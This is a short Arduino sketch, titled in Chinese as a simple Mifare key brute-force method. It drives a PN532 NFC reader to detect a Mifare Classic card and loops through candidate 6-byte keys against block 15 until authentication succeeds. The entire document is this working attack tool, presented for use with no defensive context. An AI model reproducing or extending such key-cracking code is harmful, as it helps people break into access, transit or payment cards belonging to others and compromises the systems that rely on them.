简单的穷举mifare密钥方法。

ArduinoMifare.ino

#include <Wire.h>
#include <PN532_I2C.h>
#include <PN532.h>

PN532_I2C pn532i2c(Wire);
PN532 nfc(pn532i2c);


#define SerialDevice SerialUSB //32u4,samd21

void setup() {
  SerialDevice.begin(119200);
  SerialDevice.setTimeout(0);
  nfc.begin();
  Wire.setClock(400000);
  nfc.setPassiveActivationRetries(0x10);
  while (!nfc.getFirmwareVersion()) {
    SerialDevice.println("找不到PN532");
  }
  nfc.SAMConfig();
}
uint8_t MifareKey[6] = {0, 0, 0, 0, 0, 0};

typedef struct  {
  uint8_t uid[4];
  uint8_t key[6];
} Card;

Card card;
uint64_t Lkey = 0x85FF;

void loop() {
  uint8_t tuid[4], uL;
  if (nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, tuid, &uL)) {
    for (uint8_t i = 0; i < 4; i++) {
      SerialDevice.print(tuid[i], HEX);
    }
    if (memcmp(card.uid, tuid, uL)) {
      memcpy(card.uid, tuid, uL);
      SerialDevice.println("，是新卡！");
      memcpy(card.key, MifareKey, 6);
    } else {
      SerialDevice.println("，继续检测...");
    }
    while (nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, tuid, &uL) && !memcmp(card.uid, tuid, uL)) {
      if (card.key[5] == 0xFF) {
        SerialDevice.print("使用密钥：");
        for (uint8_t i = 0; i < 6; i++) {
          SerialDevice.print(card.key[i], HEX);
          SerialDevice.print(" ");
        }
      }

      if (!nfc.mifareclassic_AuthenticateBlock(card.uid, uL, 15, 0, card.key)) {
        if (card.key[5] == 0xFF) {
          SerialDevice.println("，验证失败...");
        }
        Lkey++;
        card.key[0] = Lkey >> 40 & 0xFF;
        card.key[1] = Lkey >> 32 & 0xFF;
        card.key[2] = Lkey >> 24 & 0xFF;
        card.key[3] = Lkey >> 16 & 0xFF;
        card.key[4] = Lkey >> 8 & 0xFF;
        card.key[5] = Lkey & 0xFF;
      } else {
        SerialDevice.println("，验证成功！");
        delay(10000);
        return;
      }
    }
  } else {
    SerialDevice.println("找不到卡");
    delay(500);
  }
}